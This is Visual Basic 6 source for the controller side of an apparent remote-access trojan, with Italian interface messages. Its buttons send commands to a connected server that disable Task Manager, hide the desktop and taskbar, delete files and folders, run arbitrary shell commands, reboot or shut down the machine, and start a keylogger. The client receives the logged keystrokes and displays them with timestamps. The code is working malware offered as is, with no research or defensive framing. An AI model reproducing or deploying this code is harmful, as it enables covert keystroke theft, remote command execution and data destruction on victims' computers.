Dim Stat As Boolean
Private Sub cmdclosecd_Click()
If Stat = True Then
WinClient.SendData "$CloseCDRom"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdconnect_Click()
If Len(txtip.Text) > 0 Then
cmdconnect.Enabled = False
cmddisconnect.Enabled = True
txtip.Enabled = False
txtport.Enabled = False
WinClient.Close
WinClient.Connect txtip.Text, txtport.Text
Else
MsgBox "Compilare il campo ip per connettersi all'host!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmddisabletask_Click()
If Stat = True Then
WinClient.SendData "$DisableTask"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmddisconnect_Click()
If Stat = True Then
WinClient.SendData "$Close"
End If
WinClient.Close
cmdconnect.Enabled = True
cmddisconnect.Enabled = False
txtip.Enabled = True
txtport.Enabled = True
End Sub
Private Sub cmddisconnectpc_Click()
If Stat = True Then
WinClient.SendData "$Disconnect"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdenabletask_Click()
If Stat = True Then
WinClient.SendData "$EnableTask"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdhidebar_Click()
If Stat = True Then
WinClient.SendData "$HideBar"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdhidedesk_Click()
If Stat = True Then
WinClient.SendData "$HideDesktop"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdinvmouse_Click()
If Stat = True Then
WinClient.SendData "$InvertiMouse"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdkillfile_Click()
If Stat = True Then
Dim File As String
File = InputBox("Inserire il percorso del file da eliminare:", Me.Caption)
WinClient.SendData "$Kill " & File
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdmsg_Click()
If Stat = True Then
frmMsg.Show
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdopencd_Click()
If Stat = True Then
WinClient.SendData "$OpenCDRom"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdrebootpc_Click()
If Stat = True Then
WinClient.SendData "$Reboot"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdreimpmouse_Click()
If Stat = True Then
WinClient.SendData "$ReimpostaMouse"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdrmdir_Click()
If Stat = True Then
Dim Dir As String
Dir = InputBox("Inserire il percorso della cartella da eliminare:", Me.Caption)
WinClient.SendData "$RmDir " & Dir
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdsendcmd_Click()
If Stat = True Then
Dim ShellCmd As String
ShellCmd = InputBox("Inserire il comando da inviare al server:", Me.Caption)
WinClient.SendData "$ShellCmd " & ShellCmd
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdshowbar_Click()
If Stat = True Then
WinClient.SendData "$ShowBar"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdshowdesk_Click()
If Stat = True Then
WinClient.SendData "$ShowDesktop"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdshutdownpc_Click()
If Stat = True Then
WinClient.SendData "$ShutDown"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdstartkey_Click()
If Stat = True Then
WinClient.SendData "$StartKeyLogger"
frmKeyLogs.Show
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub cmdstopkey_Click()
If Stat = True Then
WinClient.SendData "$StopKeyLogger"
Else
MsgBox "Non è possibile inviare un comando al server se non si è prima connessi!", vbExclamation, Me.Caption
End If
End Sub
Private Sub Form_Unload(Cancel As Integer)
End
End Sub
Private Sub WinClient_Connect()
Stat = True
lblstat.Caption = "Connesso"
End Sub
Private Sub WinClient_DataArrival(ByVal bytesTotal As Long)
Dim Data As String
WinClient.GetData Data
If InStr(Data, "$Key ") Then
Dim Keys As String
Keys = Replace(Data, "$Key ", "")
frmKeyLogs.txtkey.Text = frmKeyLogs.txtkey.Text & "[" & Time & "]" & Keys & vbCrLf
End If
End Sub
Private Sub WinClient_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
MsgBox "Errore nella connessione al server!", vbCritical, Me.Caption
Stat = False
lblstat.Caption = "Non connesso"
WinClient.Close
cmdconnect.Enabled = True
cmddisconnect.Enabled = False
txtip.Enabled = True
txtport.Enabled = True
End Sub